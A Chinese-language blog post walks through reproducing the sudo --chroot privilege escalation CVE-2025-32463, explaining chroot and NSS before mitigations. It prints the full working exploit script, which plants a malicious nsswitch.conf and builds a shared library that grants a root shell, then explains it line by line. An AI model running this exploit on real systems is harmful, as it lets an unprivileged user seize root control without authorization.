目录

  • 背景知识
    • chroot环境
    • chroot 环境的具体表现
    • Name Service Switch (NSS)机制
    • 漏洞简介
  • 环境搭建
  • 复现
    • POC分析
  • 防御方法
  • 参考文章:


背景知识

chroot环境

(全称“change root”)是一种Unix/Linux系统中的隔离技术,其核心作用是将进程的根目录(/)切换到系统中的一个子目录,使该进程只能访问这个子目录内的文件和资源,无法突破到外部真实的文件系统。

chroot 环境的具体表现

  1. 根目录被“替换”
    进入chroot环境后,进程看到的/(根目录)实际上是原系统中的一个普通子目录(例如/tmp/mychroot)。例如:

    • 原系统中的/tmp/mychroot/etc/passwd,在 chroot 环境中会被视为/etc/passwd
    • 原系统中的/usr/bin等路径,在chroot环境中不可见(除非手动复制到子目录中)。
  2. 资源隔离
    进程无法访问chroot目录之外的文件、设备或系统资源(如网络配置、其他分区等),仿佛运行在一个“迷你独立系统”中。例如:

    • 尝试访问/proc(系统进程信息)或/dev(设备文件)时,只能看到chroot目录内手动复制的部分内容。
  3. 权限限制
    即使进程在chroot环境中拥有“root权限”,其操作范围也被限制在子目录内,无法影响外部真实系统(正常情况下)。

Name Service Switch (NSS)机制

NSS是Linux用于管理各种系统数据库(用户、组、主机等)的框架。关键点:

  • 配置文件/etc/nsswitch.conf指定各数据库的查询顺序和方式
  • 标准格式:数据库名: 服务1 [动作] 服务2…
  • 例如passwd: files nis表示先查本地文件,再查Network Information Service
  • 共享库命名规则为libnss_<服务名>.so.2

漏洞简介

CVE-2025-32463是Linux系统中Sudo工具的高危本地权限提升漏洞,主要影响1.9.14至1.9.17版本。该漏洞源于Sudo的“-R(–chroot)”选项在实现上存在缺陷,即便攻击者是本地无特权用户且未配置任何sudoers权限规则,也能利用这一漏洞:通过构造恶意目录,并在其中伪造/etc/nsswitch.conf文件,诱导Sudo在处理chroot操作时加载恶意动态库,最终以root权限执行任意代码。目前,Sudo 1.9.17p1版本已修复此漏洞,修复方式为回退1.9.14版本中与chroot功能相关的修改,并弃用了“–chroot”功能,以此彻底消除该安全隐患。
在这里插入图片描述

-R选项的具体功能

  1. 切换根目录
    使用-R选项后,Sudo会将指定路径作为新的根目录(/),执行的命令只能访问该路径下的文件系统层级。例如:

    sudo -R /path/to/chroot /bin/ls
    

    此命令会在/path/to/chroot目录为根的环境中执行ls,显示的是/path/to/chroot内部的文件列表。

  2. 安全隔离
    常用于需要限制程序访问范围的场景,如测试不受信任的代码、运行特权服务(如Web服务器)时降低风险。

  3. 系统维护
    在修复系统引导问题或文件系统损坏时,可以通过chroot环境访问和修改受损系统。

环境搭建

直接用平时常用的kali即可,我安装的是2025版本的kali,应该有该漏洞
在这里插入图片描述
版本符合漏洞影响范围

复现

利用国外大佬的Poc复现即可:

https://github.com/pr0v3rbs/CVE-2025-32463_chwoot

克隆poc到kali上面,进入poc目录。根据poc描述检查是否存在漏洞
在这里插入图片描述
返回了sudo: woot: No such file or directory,说明存在漏洞

如果是Windows克隆后复制到Linux上面,可能执行不了,这时候尝试chmod +x给脚本可执行权限,还有就是记得把所有文件换行转换为Linux格式的换行find /path/to/your/folder -type f -exec sed -i 's/\r$//' {} +

然后直接执行脚本就得了。
在这里插入图片描述

POC分析

#!/bin/bash
# sudo-chwoot.sh
# CVE-2025-32463 – Sudo EoP Exploit PoC by Rich Mirch
#                  @ Stratascale Cyber Research Unit (CRU)
STAGE=$(mktemp -d /tmp/sudowoot.stage.XXXXXX)
cd ${STAGE?} || exit 1if [ $# -eq 0 ]; then# If no command is provided, default to an interactive root shell.CMD="/bin/bash"
else# Otherwise, use the provided arguments as the command to execute.CMD="$@"
fi# Escape the command to safely include it in a C string literal.
# This handles backslashes and double quotes.
CMD_C_ESCAPED=$(printf '%s' "$CMD" | sed -e 's/\\/\\\\/g' -e 's/"/\\"/g')cat > woot1337.c<<EOF
#include <stdlib.h>
#include <unistd.h>__attribute__((constructor)) void woot(void) {setreuid(0,0);setregid(0,0);chdir("/");execl("/bin/sh", "sh", "-c", "${CMD_C_ESCAPED}", NULL);
}
EOFmkdir -p woot/etc libnss_
echo "passwd: /woot1337" > woot/etc/nsswitch.conf
cp /etc/group woot/etc
gcc -shared -fPIC -Wl,-init,woot -o libnss_/woot1337.so.2 woot1337.cecho "woot!"
sudo -R woot woot
rm -rf ${STAGE?}
  1. 环境准备
STAGE=$(mktemp -d /tmp/sudowoot.stage.XXXXXX)
cd ${STAGE?} || exit 1

创建临时工作目录,确保后续操作不会污染系统其他位置。

  1. 命令处理
if [ $# -eq 0 ]; thenCMD="/bin/bash"
elseCMD="$@"
fi

$#:表示传递给脚本的参数个数
如果用户没有提供参数,默认执行交互式bash shell;否则执行用户指定的命令。
例如:./sudo-chwoot.sh whoami会执行whoami命令

  1. 生成恶意共享库
__attribute__((constructor)) void woot(void) {setreuid(0,0);setregid(0,0);chdir("/");execl("/bin/sh", "sh", "-c", "${CMD_C_ESCAPED}", NULL);
}

这是一段C代码,利用GCC的constructor属性,使指定函数在共享库加载时自动执行。其功能是将当前进程的用户ID和组ID都设置为0(即root),然后切换到根目录并执行用户指定的命令,-c表示执行字符串形式的命令。

  1. 配置NSS欺骗
mkdir -p woot/etc libnss_
echo "passwd: /woot1337" > woot/etc/nsswitch.conf
cp /etc/group woot/etc

创建一个伪造的chroot环境:

  • mkdir -p:递归创建目录结构
  • nsswitch.conf是Name Service Switch配置文件,这里将密码数据库查询重定向到我们的恶意库,正常来说passwd: files systemd会调用libnss_files.so.2和libnss_systemd.so.2这些库,而这个异常的会调用libnss_/woot1337.so.2
  • 复制真实的group文件以避免命令执行时因缺少group信息而失败
  1. 编译恶意库并执行攻击
gcc -shared -fPIC -Wl,-init,woot -o libnss_/woot1337.so.2 woot1337.c
sudo -R woot woot
  • shared:生成共享库
  • fPIC:生成位置无关代码(共享库必需)
  • Wl,-init,woot:通过链接器指定woot函数为初始化函数
  • 输出为libnss_/woot1337.so.2:符合NSS模块命名规范libnss_*.so.2
  • sudo -R woot woot是关键攻击命令:-R导致Sudo加载我们控制的nsswitch.conf。第一个woot是chroot目录,第二个woot是要执行的命令(实际会被忽略,因为恶意库已接管)
  1. 攻击原理
    当sudo执行-R选项时,它会切换到指定的chroot环境并尝试解析用户信息。由于我们修改了nsswitch.conf,sudo会加载我们的恶意库woot1337.so.2,触发构造函数,将当前进程权限提升为root,然后执行用户命令。

防御方法

  1. 立即更新Sudo版本:将Sudo升级至1.9.17p1及以上版本,该版本已通过回退存在问题的代码并弃用--chroot功能修复漏洞,可通过系统包管理器(如apt)执行更新:sudo apt update && sudo apt upgrade sudo

  2. 临时禁用--chroot功能:若暂时无法升级,可编辑Sudo配置文件(/etc/sudoers,需用visudo命令),在相关规则中限制-R/--chroot选项的使用,或直接移除包含该选项的配置,阻断漏洞利用路径。

  3. 限制文件权限:严格控制系统中/etc/nsswitch.conf及相关目录的读写权限,防止非授权用户篡改或创建恶意文件,减少攻击者构造利用环境的可能性。

  4. 监控异常操作:通过日志审计工具(如auditd)监控涉及sudo命令、chroot操作及系统库文件加载的异常行为,及时发现潜在攻击尝试。


参考文章:

https://mp.weixin.qq.com/s/mZdIwl9h8tN6J5FNDUl2IQ
https://www.stratascale.com/vulnerability-alert-CVE-2025-32463-sudo-chroot

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:http://www.pswp.cn/news/913941.shtml
繁体地址,请注明出处:http://hk.pswp.cn/news/913941.shtml
英文地址,请注明出处:http://en.pswp.cn/news/913941.shtml

如若内容造成侵权/违法违规/事实不符,请联系英文站点网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

原生微信小程序研发,如何对图片进行统一管理?

目标&#xff1a; 统一在配置文件中管理图片&#xff0c;用变量存储&#xff0c;换图标时只需修改链接即可&#xff0c;无需更改业务代码&#xff0c;且方便查找。tips: 不建议在 asset 中存储大量图片&#xff0c;原因是官方要求小程序内存要限制在2M以内&#xff0c;图片放多…

Escrcpy(手机投屏) v1.27.2 便携版

Escrcpy 是一款强大的工具&#xff0c;它允许用户通过图形化的 Scrcpy 界面来显示和控制他们的 Android 设备。这款应用程序由 Electron 作为其底层框架驱动。Escrcpy 无需任何账户就可以使用&#xff0c;无需担心隐私或安全问题。Escrcpy没有广告&#xff0c;完全免费开源。软…

element-plus表单校验失败问题

一、问题&#xff1a;做表单校验时&#xff0c;自定义校验和常规校验都失败&#xff0c;自定义校验时无法拿到value值。二、原因&#xff1a;1、变量名称那没有绑定prop。如果是常规校验&#xff0c;没绑定prop的话&#xff0c;在确定按钮时&#xff0c;valid都是true。2、自定…

jmeter做跨线程组

多线程通常会将不同的业务逻辑分配到不同的线程组中。为什么要做多线程&#xff1a;模拟真实世界场景&#xff1a;在实际应用中&#xff0c;服务器通常需要同时处理来自多个用户的请求。通过多线程&#xff0c;JMeter可以模拟这种并发用户的行为&#xff0c;更准确地反映出应用…

SQL实战:多表查询篇

文章目录多表查询创建练习用的数据库链接/连接查询交叉连接自然连接内连接(取交集)外连接左外连接/右外连接自连接子查询联合查询总结数据库的备份和恢复命令行操作多表查询 -- 获得 alice的 部门所在城市 select * from staff where namealice; -- 获得dept_id1 select city …

交通银行基于HarmonyOS数字盾服务,实现大额转账安全

在近日落幕的华为开发者大会2025&#xff08;6月20日-6月22日&#xff09;上&#xff0c;交通银行作为HarmonyOS安全合作的关键伙伴受邀出席。在大会的主题演讲上介绍了交通银行基于HarmonyOS SDK设备安全服务&#xff08;Device Security Kit&#xff09;中的数字盾服务&#…

加密狗硬复制的方法

加密狗硬复制方法概述&#xff1a;Greer82加密狗&#xff08;Dongle&#xff09;是一种硬件加密设备&#xff0c;用于软件版权保护。硬复制是指通过物理手段复制加密狗的硬件信息&#xff0c;通常涉及破解或仿制。需要注意的是&#xff0c;未经授权的复制可能涉及法律风险&…

家庭网络中的服务器怎么对外提供服务?

家庭网络中的服务器怎么对外提供服务&#xff1f;方案1 DDNS&#xff08;家庭网络需要有公网ip&#xff09;方案2 内网穿透&#xff08;需要有一台公网ip的服务器&#xff09;方案1 DDNS&#xff08;家庭网络需要有公网ip&#xff09; 怎么判断是否有公网ip&#xff1f;大致的流…

UnrealEngine5游戏引擎实践(C++)

目录 目录 目录 Unreal Engine 是什么? Unreal Engine 5 简介 核心技术特性 应用场景扩展 兼容性与生态系统 Unreal Engine安装 下载 Epic Games Launcher 启动 Unreal Engine 选择安装版本和路径 选择组件 开始安装 验证安装 配置项目模板(可选) 更新和插件…

web渗透sql注入4之PostgreSQL

web渗透sql注入4之PostgreSQLPostgreSQL数据库特性&#xff1a;基于角色的访问控制&#xff0c;支持超级用户&#xff0c;需安装 plpgsql 扩展方可执行命令&#xff0c;可通过 COPY命令或自定义函数实现权限判断白盒看代码&#xff0c;黑盒通过构造特殊查询语句探测数据库权限权…

2025年7月:打cs1.5 600元装机台式电脑方案A

打cs1.5 600元装机方案A&#xff1a;有需要的小伙伴可以收藏哈&#xff0c;目前我没有机会实测效果&#xff0c;理论值是ok无压力的&#xff0c;大家 有机会配置后的&#xff0c;也可以自行测试下CS1.5的FPS值稳定否哈哈。 打cs1.5 600元装机方案A&#xff1a; 点击查看详细内…

人大金仓下载安装教程总结

文章目录前言背景&#xff1a; 工作中进行信创改造&#xff0c;需要把mysql&#xff0c;postgresql数据迁移到人大金仓一、人大金仓是什么&#xff1f;二、使用场景三、下载安装教程四、优势五、环境及要求六、工具以及词汇介绍总结前言 背景&#xff1a; 工作中进行信创改造&…

WebDAV与内网穿透的协同创新:Joplin私有云同步架构深度解析

文章目录前言1. 检查群晖Webdav 服务2. 本地局域网IP同步测试3. 群晖安装Cpolar工具4. 创建Webdav公网地址5. Joplin连接WebDav6. 固定Webdav公网地址7. 公网环境连接测试前言 在远程办公场景持续深化的数字化时代&#xff0c;数字笔记工具已从单纯的记录载体进化为知识管理的…

html的outline: none;

outline: none; 是一条 CSS 样式规则&#xff0c;用来取消元素获得焦点时的默认轮廓线&#xff08;outline&#xff09;。&#x1f50d; 什么是 outline&#xff1f;outline 是浏览器在某些元素&#xff08;例如输入框 <input>、按钮 <button>、可编辑元素如 <d…

Java 正则表达式白皮书:语法详解、工程实践与常用表达式库

一、什么是正则表达式&#xff1f;正则表达式&#xff08;Regular Expression&#xff09;是一种文本模式&#xff0c;用于描述、匹配、搜索或替换符合某种规则的字符串。其在日志提取、表单校验、配置清洗、数据爬取等场景中被广泛使用。Java 提供了完整的正则表达式支持&…

火山引擎Data Agent全面上线售卖!以企业级数据智能体,重构数据应用范式

资料来源&#xff1a;火山引擎-开发者社区 在火山引擎2025春季FORCE原动力大会现场&#xff0c;火山引擎数智平台解决方案总经理萧然宣布&#xff0c; 企业级数据智能体Data Agent即日起正式上线售卖 。该产品旨在通过DataAI的深度融合&#xff0c;助力企业实现数据价值的挖掘与…

uniapp AndroidiOS 定位权限检查

定位权限检查 // 检查定位权限状态 export const checkPermission () > {const platform uni.getSystemInfoSync().platform;console.log(platform, platform)// #ifdef APP-PLUSif (platform android) {// Androidreturn checkAndroidPermission();} else if (platform …

深入理解Java虚拟机(JVM):从内存管理到性能优化

深入理解Java虚拟机&#xff08;JVM&#xff09;&#xff1a;从内存管理到性能优化 目录 引言JVM架构概述 1. 类加载器&#xff08;Class Loader&#xff09;2. 运行时数据区&#xff08;Runtime Data Areas&#xff09;3. 执行引擎&#xff08;Execution Engine&#xff09;…

PHP SimpleXML:深入理解与高效使用

PHP SimpleXML:深入理解与高效使用 引言 PHP SimpleXML 是一个用于解析和操作 XML 文档的库。它简化了 XML 的处理过程,使得 PHP 开发者可以更加轻松地与 XML 数据交互。本文将深入探讨 PHP SimpleXML 的基本概念、使用方法以及在实际开发中的应用。 SimpleXML 简介 Simp…

双模秒切,体验跃迁!飞利浦EVNIA双模游戏显示器27M2N6801M王者降临!

当沉浸式画质与电竞级流畅无法共存&#xff0c;EVNIA Mini LED双模游戏显示器27M2N6801M以破界之姿革新而来&#xff01;全新搭载 4K160Hz / FHD320Hz双模显示引擎&#xff0c;将视觉震撼与操作跟手性推向全新高度。心念所动间&#xff0c;即可在电影级3A世界与分秒必争的电竞战…